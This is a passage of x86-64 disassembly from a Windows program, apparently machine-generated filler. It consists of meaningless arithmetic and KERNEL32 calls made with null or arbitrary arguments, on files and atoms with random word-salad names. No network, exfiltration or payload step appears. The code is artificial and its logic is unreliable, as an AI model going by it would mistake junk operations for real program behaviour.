mov dword [rcx], eax
lea rcx, [rsp + 0x8df0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x9798]
mov rax, qword [rax]
mov qword [rsp + 0xb818], rax
mov rax, qword [rsp + 0x9030]
mov ecx, dword [rsp + 0x4960]
imul ecx, dword [rax]
mov eax, ecx
mov dword [rsp + 0x4734], eax
movzx eax, byte [0x1401e6052]
movzx ecx, byte [rsp + 0x10d]
sub eax, ecx
mov byte [0x1401e604e], al
mov rcx, qword [rsp + 0x9058]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [rsp + 0xb820], rax
mov rcx, qword [rsp + 0xaa50]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x8eb8]
movzx eax, word [rax]
mov word [rsp + 0x1020], ax
movsx eax, word [rsp + 0xb98]
mov rcx, qword [rsp + 0x94d8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xfa0], ax
lea rax, [rsp + 0x7a]
mov qword [rsp + 0xb828], rax
mov rax, qword [rsp + 0x9e68]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9e30]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xec8], ax
mov rax, qword [rsp + 0xa320]
mov rcx, qword [rsp + 0xb738]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4570], eax
mov rcx, qword [rsp + 0xa648]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x4914], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
lea rax, [rsp + 0xa2b8]
mov qword [rsp + 0xb830], rax
mov rax, qword [rsp + 0xac68]
mov rcx, qword [rsp + 0x9360]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xa8b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9a90]
mov eax, dword [rax]
mov dword [rsp + 0x49dc], eax
mov rax, qword [rsp + 0xab58]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xad40]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e6078], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.C:caterer_foulerpictoriallydiscreetAbates
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xb838], rax
mov rax, qword [rsp + 0xa8a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa548]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x94f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8ca8]
movsx eax, word [rax]
movsx ecx, word [0x1401e6044]
and eax, ecx
mov rcx, qword [rsp + 0xb020]
mov word [rcx], ax
mov rax, qword [rsp + 0x9820]
movzx eax, byte [rax]
mov byte [rsp + 0x149], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x8e28], rax
mov rax, qword [rsp + 0xa5d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x146]
sar eax, cl
mov byte [rsp + 0xe1], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x433c], eax
mov eax, dword [rsp + 0x4850]
mov dword [rsp + 0x49e0], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.C:_nightfall_theatrejet_superordinate
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xb840], rax
mov rax, qword [rsp + 0xadf0]
movzx ecx, al
mov rax, qword [0x1401e6008]
shl rax, cl
mov qword [rsp + 0xb5c8], rax
mov rax, qword [rsp + 0xa080]
mov ecx, dword [rsp + 0x484c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4814], eax
lea rax, [0x1401e7410]
mov qword [rsp + 0xb848], rax
mov rax, qword [rsp + 0x9918]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x80]
or eax, ecx
mov byte [0x1401e607e], al
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0xa140], rax
lea rdx, [rsp + 0x45a0]
mov rcx, qword [rsp + 0x9300]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x497c], eax
movsx eax, word [rsp + 0xcd4]
movsx ecx, word [rsp + 0xf54]
sub eax, ecx
mov rcx, qword [rsp + 0xabe8]
mov word [rcx], ax
lea rax, [0x1401e6053]
mov qword [rsp + 0xb850], rax
mov rax, qword [rsp + 0x97e0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x8c]
add eax, ecx
mov byte [rsp + 0x114], al
movzx eax, word [rsp + 0xd50]
movzx ecx, word [rsp + 0xfe8]
and eax, ecx
mov word [rsp + 0xc1c], ax
mov rax, qword [rsp + 0x8cd0]
mov eax, dword [rax]
mov dword [rsp + 0x49e4], eax
mov rax, qword [rsp + 0x9f90]
mov eax, dword [rax]
imul eax, dword [rsp + 0x4850]
mov rcx, qword [rsp + 0x9378]
mov dword [rcx], eax
lea rax, [rsp + 0xb338]
mov qword [rsp + 0xb858], rax
mov rax, qword [rsp + 0x9f38]
mov rcx, qword [rsp + 0xaad8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xa500]
mov qword [rcx], rax
lea rax, [rsp + 0x87]
mov qword [rsp + 0xb860], rax
movsx eax, word [rsp + 0xe38]
movsx ecx, word [rsp + 0xc38]
sub eax, ecx
mov word [0x1401e74b0], ax
mov dword [rsp + 0x2a800], 0x94
mov rax, qword [rsp + 0xa6b8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc8c]
add eax, ecx
mov word [rsp + 0xdac], ax
mov rax, qword [rsp + 0x9920]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x12c]
sub eax, ecx
mov byte [rsp + 0xd7], al
mov rax, qword [rsp + 0x9738]
movzx eax, word [rax]
mov word [rsp + 0x1024], ax
mov r9d, 0x1691
xor r8d, r8d
lea rdx, [rsp + 0xb568]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4638], eax
mov rax, qword [rsp + 0x9ab8]
mov rcx, qword [rsp + 0x9448]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x92a8], rax
mov rax, qword [rsp + 0x9858]
mov qword [rsp + 0xb868], rax
mov rax, qword [rsp + 0xb478]
mov ecx, dword [rsp + 0x4484]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x43b4], eax
mov eax, dword [rsp + 0x473c]
mov ecx, dword [rsp + 0x4458]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x45a4], eax
mov rax, qword [rsp + 0xa740]
movzx eax, word [rax]
mov word [rsp + 0x1028], ax
lea rax, [rsp + 0x51]
mov qword [0x1401e7880], rax
movsx eax, byte [rsp + 0x8d]
movsx ecx, byte [rsp + 0x50]
sub eax, ecx
mov byte [rsp + 0xc0], al
mov rax, qword [rsp + 0xa888]
movzx eax, word [rax]
mov word [rsp + 0x102c], ax
mov rcx, qword [rsp + 0x97c8]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x4358], eax
movzx eax, word [rsp + 0x101c]
movzx ecx, word [rsp + 0xe1c]
shl eax, cl
mov rcx, qword [rsp + 0x90e8]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x49e8], eax
lea rdx, [rsp + 0x4508]
mov rcx, qword [rsp + 0x9218]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4684], eax
mov rcx, qword [rsp + 0x9e20]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x9fa8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4834]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9d90]
mov dword [rcx], eax
mov eax, dword [rsp + 0x48e4]
mov dword [rsp + 0x49ec], eax
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x49f0], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x90b0], rax
lea rcx, [rsp + 0x268a8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x8c20]
mov rcx, qword [rsp + 0xae30]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xb158], rax
mov rax, qword [rsp + 0xb618]
mov rax, qword [rax]
mov qword [rsp + 0xb870], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xb7c0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movsx eax, byte [rsp + 0xde]
mov rcx, qword [rsp + 0xb758]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xa508]
mov byte [rcx], al
movzx eax, byte [rsp + 0x111]
mov rcx, qword [rsp + 0xa100]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x1401e7458]
mov byte [rcx], al
lea rax, [0x1401e6084]
mov qword [rsp + 0xb878], rax
movsx eax, byte [rsp + 0x143]
movsx ecx, byte [rsp + 0x63]
sub eax, ecx
mov rcx, qword [rsp + 0x9d20]
mov byte [rcx], al
mov rax, qword [rsp + 0xb7a0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb8c]
sub eax, ecx
mov word [rsp + 0xbdc], ax
lea rax, [0x1401e6018]
mov qword [rsp + 0xb880], rax
mov rax, qword [rsp + 0x9ce8]
mov rcx, qword [rsp + 0xa4c8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9448], rax
lea rax, [rsp + 0x49e0]
mov qword [rsp + 0xb888], rax
mov rax, qword [rsp + 0x9138]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xab60]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xaeb0], rax
mov rax, qword [rsp + 0x9760]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe10]
sub eax, ecx
mov word [rsp + 0xfa0], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x8e28], rax
movzx eax, word [rsp + 0xb60]
mov rcx, qword [0x1401e75d8]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401e60fc], ax
lea rdx, [rsp + 0xad68]
mov rcx, qword [rsp + 0xaf90]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x49f0], eax
lea rax, [rsp + 0x118]
mov qword [rsp + 0xb890], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [rsp + 0xb898], rax
mov rax, qword [rsp + 0xae40]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xcc]
add eax, ecx
mov byte [rsp + 0xf0], al
movzx eax, byte [rsp + 0x67]
mov byte [rsp + 0x14a], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0xa6f8], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0xac70], rax
mov rax, qword [0x1401e7700]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x93a8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x74], al
xor edx, edx
mov eax, dword [rsp + 0x44ac]
div dword [rsp + 0x45d4]
mov rcx, qword [rsp + 0xa298]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x468c], eax
lea rax, [rsp + 0xb870]
mov qword [rsp + 0xb8a0], rax
mov rax, qword [rsp + 0xac28]
mov rax, qword [rax]
mov rcx, qword [0x1401e6008]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xb628], rax
lea rax, [rsp + 0x4778]
mov qword [rsp + 0xb8a8], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x8f60], rax
mov rax, qword [rsp + 0xa2f0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8fb8]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [str.yRs_a], al
mov rax, qword [rsp + 0x9080]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xaa78]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xa0e0]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x49f4], eax
mov rax, qword [rsp + 0x9430]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf68]
shl eax, cl
mov word [rsp + 0xf4c], ax
movzx eax, word [rsp + 0xbd4]
mov word [rsp + 0x1030], ax
mov rax, qword [rsp + 0xaa20]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x94d8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xcd8], ax
movzx ecx, word [rsp + 0xd34]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xed4], ax
lea rax, [rsp + 0x9df0]
mov qword [rsp + 0xb8b0], rax
mov rax, qword [rsp + 0xb4c0]
mov rcx, qword [rsp + 0xb088]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xa8d0]
mov qword [rcx], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov rax, qword [rsp + 0x8cd0]
mov eax, dword [rax]
mov dword [rsp + 0x49f8], eax
mov rax, qword [rsp + 0x9378]
mov rcx, qword [rsp + 0xb1c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x49ec], eax
movzx eax, byte [rsp + 0x105]
mov byte [0x1401e74b6], al
movzx eax, word [0x1401e60d0]
mov rcx, qword [rsp + 0xa398]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x91c8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x55]
mov byte [rsp + 0x14b], al
movzx eax, byte [rsp + 0x145]
movzx ecx, byte [rsp + 0xb0]
add eax, ecx
mov byte [rsp + 0x10f], al
movzx eax, byte [0x1401e603b]
mov byte [rsp + 0x14c], al
mov rax, qword [rsp + 0x92a8]
mov rcx, qword [rsp + 0x8e10]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xab18], rax
lea rcx, str.sensed_folktale_brokers_boyscout_symposium
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0x1004], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.C:_shinningOffensiveness_accounting
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xb8b8], rax
mov rax, qword [rsp + 0x98b8]
mov rcx, qword [rsp + 0xb6c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8fc0]
mov dword [rcx], eax
lea rax, [rsp + 0x8dd8]
mov qword [rsp + 0xb8c0], rax
mov rax, qword [rsp + 0xa0d0]
mov ecx, dword [rsp + 0x490c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9068]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xcc]
movzx ecx, byte [0x1401e606b]
sub eax, ecx
mov byte [0x1401e6043], al
lea rax, [rsp + 0xe9c]
mov qword [rsp + 0xb8c8], rax
lea rdx, [rsp + 0x4638]
mov rcx, qword [rsp + 0x9dd0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x47d4], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0xb8d0], rax
lea rcx, [rsp + 0x9898]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movsx eax, byte [rsp + 0xf3]
mov rcx, qword [rsp + 0x9f48]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8cb0]
mov byte [rcx], al
mov rax, qword [rsp + 0x9350]
movzx eax, word [rax]
mov rcx, qword [0x1401e75c0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xc14], ax
mov rax, qword [rsp + 0xb2d8]
movzx eax, word [rax]
mov word [rsp + 0x1034], ax
mov eax, dword [rsp + 0x490c]
mov ecx, dword [rsp + 0x44f8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4450], eax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x4560], eax
lea rax, [rsp + 0x49cc]
mov qword [rsp + 0xb8d8], rax
mov ecx, 7
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x48cc], eax
mov rax, qword [rsp + 0x9390]
movzx ecx, al
mov rax, qword [0x1401e6008]
shr rax, cl
mov rcx, qword [rsp + 0xb240]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9778]
mov qword [rsp + 0xb8e0], rax
lea rax, [rsp + 0xd44]
mov qword [0x1401e7888], rax
mov rax, qword [rsp + 0x8e20]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa740]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xbc4], ax
movzx eax, byte [rsp + 0xd3]
mov rcx, qword [rsp + 0xb5e8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x10f], al
movzx eax, byte [rsp + 0x119]
mov byte [rsp + 0x14d], al
movsx eax, byte [rsp + 0x63]
movsx ecx, byte [rsp + 0xe0]
add eax, ecx
mov byte [rsp + 0xb1], al
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetWriteWatch]
lea rax, [rsp + 0x48b8]
mov qword [rsp + 0xb8e8], rax
mov rax, qword [rsp + 0xa5e0]
mov rcx, qword [rsp + 0xa200]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa6d8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [rsp + 0x4798]
mov ecx, dword [rsp + 0x45f4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x45fc], eax
lea rcx, [rsp + 0xb6e0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
lea rax, [rsp + 0xa3f8]
mov qword [rsp + 0xb8f0], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xa180
mov rcx, qword [rsp + 0xac60]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4368], eax
lea rax, [rsp + 0xd70]
mov qword [0x1401e7890], rax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x4550], eax
mov rax, qword [rsp + 0x97f8]
movzx eax, byte [rax]
mov rcx, qword [0x1401e7600]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x120], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0x11c]
mov qword [rsp + 0xb8f8], rax
mov qword [rsp + 0x20], 0
mov r9d, 0x67d
mov r8d, 0x3d0b
mov edx, 0xf2
mov rcx, qword [rsp + 0x91b0]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x4870], eax
mov rax, qword [rsp + 0x9db0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc2c]
add eax, ecx
mov word [rsp + 0xf50], ax
movsx eax, word [rsp + 0xff4]
movsx ecx, word [rsp + 0xf14]
and eax, ecx
mov rcx, qword [rsp + 0xa6f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x9370]
mov rax, qword [rax]
mov qword [rsp + 0xb900], rax
mov rax, qword [rsp + 0x98f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9680]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb1a0]
mov qword [rcx], rax
lea rcx, [rsp + 0x26a58]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rax, section..data
mov qword [rsp + 0xb908], rax
mov rax, qword [rsp + 0x91c0]
mov ecx, dword [rsp + 0x4900]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xb1d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa880]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x94d8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1401e7510]
mov word [rcx], ax
movzx eax, byte [rsp + 0x12d]
movzx ecx, byte [rsp + 0x9e]
or eax, ecx
mov rcx, qword [rsp + 0xa790]
mov byte [rcx], al
lea rdx, [rsp + 0x282d0]
mov rcx, qword [rsp + 0x91b0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x49fc], eax
mov rax, qword [rsp + 0x9a70]
movzx eax, word [rax]
mov word [rsp + 0x1038], ax
mov rax, qword [rsp + 0x95c0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa170]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x66], al
mov rax, qword [rsp + 0x94d8]
movzx eax, word [rax]
mov word [rsp + 0x103c], ax
mov eax, dword [rsp + 0x43cc]
mov ecx, dword [rsp + 0x44f8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x473c], eax
mov rax, qword [rsp + 0x9a38]
mov rax, qword [rax]
mov qword [rsp + 0xb910], rax
mov rcx, qword [rsp + 0x8e30]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalUnlock]
mov rax, qword [rsp + 0xb250]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9cb0]
mov qword [rsp + 0xb918], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb918]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xa118], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xac40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4628]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x45e4], eax
lea rax, [rsp + 0xe14]
mov qword [0x1401e7898], rax
mov rax, qword [0x1401e7650]
movzx eax, word [rax]
mov word [rsp + 0x1040], ax
mov rax, qword [rsp + 0x9028]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9770]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x7d], al
movzx eax, byte [rsp + 0x148]
mov byte [rsp + 0x14e], al
movsx eax, byte [rsp + 0xde]
movsx ecx, byte [0x1401e746d]
add eax, ecx
mov rcx, qword [rsp + 0x9468]
mov byte [rcx], al
mov rax, qword [rsp + 0x9d28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb1c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xaee8], rax
lea rax, [rsp + 0xa898]
mov qword [rsp + 0xb920], rax
mov rax, qword [rsp + 0x9ae8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4674]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8f90]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4474]
mov dword [rsp + 0x4a00], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x42f0], eax
mov edx, 0x1cf3
mov rcx, qword [rsp + 0xaa50]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x46a8], eax
mov rax, qword [rsp + 0xa108]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9770]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9678]
mov byte [rcx], al
mov rax, qword [rsp + 0xa608]
movzx eax, word [rax]
mov rcx, qword [0x1401e7488]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401e60a4], ax
mov rax, qword [rsp + 0x9f30]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb4e0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xbf0], ax
lea rax, [rsp + 0x52]
mov qword [rsp + 0xb928], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
lea rcx, [rsp + 0xb930]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov ecx, 5
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x45d8], eax
movzx eax, word [rsp + 0xe6c]
movzx ecx, word [rsp + 0xf10]
sub eax, ecx
mov word [rsp + 0xc8c], ax
lea rax, [rsp + 0x9af8]
mov qword [rsp + 0xb938], rax
mov rax, qword [rsp + 0xb388]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x46f4]
shl eax, cl
mov dword [rsp + 0x46a4], eax
mov rax, qword [rsp + 0xb830]
mov rax, qword [rax]
mov rcx, qword [0x1401e7410]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xaeb0], rax
lea rax, [rsp + 0x43a8]
mov qword [rsp + 0xb940], rax
mov rax, qword [rsp + 0x9c38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xbc]
or eax, ecx
mov byte [rsp + 0x14a], al
xor r9d, r9d
xor r8d, r8d
mov edx, 0xb8f0
mov rcx, qword [rsp + 0xb0a0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x498c], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
movsx eax, byte [rsp + 0xe7]
movsx ecx, byte [rsp + 0x99]
sar eax, cl
mov byte [0x1401e607f], al
lea rax, [rsp + 0xca0]
mov qword [rsp + 0xb948], rax
mov rax, qword [rsp + 0xb0d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe1]
sub eax, ecx
mov byte [rsp + 0xb5], al
mov rax, qword [0x1401e7750]
movzx eax, byte [rax]
mov byte [rsp + 0x14f], al
mov rax, qword [rsp + 0xa080]
mov rcx, qword [rsp + 0xb188]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x44bc], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [rsp + 0xb950], rax
mov rax, qword [rsp + 0x9cc8]
mov rcx, qword [rsp + 0x98c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xab80], rax
lea rax, [rsp + 0x9fa0]
mov qword [rsp + 0xb958], rax
mov rax, qword [rsp + 0x92f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4678]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x45b8], eax
mov rax, qword [rsp + 0xb058]
movzx eax, word [rax]
mov word [rsp + 0x1044], ax
mov r9d, 2
lea r8, [rsp + 0xaf00]
mov rdx, qword [rsp + 0x9100]
mov rcx, qword [rsp + 0x9398]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x49fc], eax
mov rax, qword [0x1401e74f8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb7a0]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401e60f8], ax
mov rax, qword [rsp + 0xb890]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa198]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9468]
mov byte [rcx], al
movzx eax, word [rsp + 0xef4]
mov rcx, qword [0x1401e77b8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xd10], ax
lea rdx, [rsp + 0xa4b8]
mov rcx, qword [rsp + 0x9220]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4a04], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PulseEvent]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x4438], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x4a08], eax
mov edx, 0x137d
mov rcx, qword [rsp + 0x9718]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x41e0], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
lea rax, [rsp + 0xed]
mov qword [rsp + 0xb960], rax
mov eax, dword [rsp + 0x4524]
mov ecx, dword [rsp + 0x4398]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa748]
mov dword [rcx], eax
mov eax, dword [rsp + 0x48c0]
mov dword [rsp + 0x4a0c], eax
mov rax, qword [rsp + 0xb2f8]
mov rcx, qword [rsp + 0xa218]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9948]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8f88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xadc8]
and rcx, rax
